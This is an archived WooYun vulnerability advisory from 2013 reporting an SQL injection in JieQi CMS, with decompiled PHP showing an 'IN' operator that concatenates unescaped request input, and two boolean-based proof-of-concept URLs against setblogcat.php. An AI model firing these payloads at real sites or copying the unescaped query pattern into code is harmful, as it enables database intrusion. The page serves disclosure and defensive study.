当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043908

漏洞标题:杰奇CMS 1.7商业版注入漏洞

相关厂商:jieqi.com

漏洞作者: Phale

提交时间:2013-11-25 17:20

修复时间:2014-02-23 17:20

公开时间:2014-02-23 17:20

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-25: 细节已通知厂商并且等待厂商处理中
2013-11-25: 厂商已经确认,细节仅向厂商公开
2013-11-28: 细节向第三方安全合作伙伴开放
2014-01-19: 细节向核心白帽子及相关领域专家公开
2014-01-29: 细节向普通白帽子公开
2014-02-08: 细节向实习白帽子公开
2014-02-23: 细节向公众公开

简要描述:

杰奇CMS 1.7商业版用了Zend加密,批量解密后,发现程序员用了几个函数,使得这套系统基本没了注入漏洞。在判断ip时,程序员将.过滤再判断是否是为数字,值得借鉴。

详细说明:

class criteria extends criteriaelement
{
var $column; //字段
var $operator; //分隔符
var $value; //值
function criteria( $_obfuscate_eZJe9OBy, $_obfuscate_VgKtFeg = "", $_obfuscate_JChWBNMCFOA = "=" )
{
$this->column = $_obfuscate_eZJe9OBy;
$this->value = $_obfuscate_VgKtFeg;
$this->operator = $_obfuscate_JChWBNMCFOA;
}
function render( )
{
if ( !empty( $this->column ) )
{
$_obfuscate_yHkENun4 = $this->column." ".$this->operator;
..................................
if ( isset( $this->value ) )
..................................
//当分隔符为in时没有对值有任何处理。EditPlus搜索含有"IN"的语句发现了注入。
if ( strtoupper( $this->operator ) == "IN" )
{
$_obfuscate_yHkENun4 .= " ".$this->value;
return $_obfuscate_yHkENun4;
}
//引入单引号
$_obfuscate_yHkENun4 .= " '".jieqi_dbslashes( trim( $this->value ) )."'";
}
return $_obfuscate_yHkENun4;
------------------------------------------------------------------------------------------
switch ( $_REQUEST[action] )
{
case "do_edit" :
include_once( $jieqiModules['space']['path']."/class/blogcat.php" );
$blog_cat_handler = jieqispaceblogcathandler::getinstance( "JieqiSpaceBlogCatHandler" );
if ( $_REQUEST['delete_checkbox'] )
{
$tmpstr = "(".implode( ",", $_REQUEST['delete_checkbox'] ).")";
$criteria = new criteriacompo( new criteria( "`id`", $tmpstr, "in" ) ); //id in ()
$criteria->add( new criteria( "`uid`", $uid ) );
$criteria->add( new criteria( "`type`", $_REQUEST['type'], "=" ) );
$criteria->add( new criteria( "`default_cat`", 1, "!=" ) );
$blog_cat_handler->queryobjects( $criteria );
$v = $blog_cat_handler->getobject( );
if ( !empty( $v ) )
{
$num = $v->getvar( "num" );
$blog_cat_handler->delete( $criteria );
unset( $criteria );
}

漏洞证明:

http://localhost/modules/space/setblogcat.php?action=do_edit&delete_checkbox[]=3))and 1=1%23


http://localhost/modules/space/setblogcat.php?action=do_edit&delete_checkbox[]=3))and 1=2%23

修复方案:

版权声明:转载请注明来源 Phale@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-11-25 18:29

厂商回复:

由于对用户提交变量过滤不严产生的漏洞。
本漏洞来自JIEQI CMS 1.6版本。
1.7及以上版本默认无space模块,如果有,则是个人私自整合行为。

最新状态:

暂无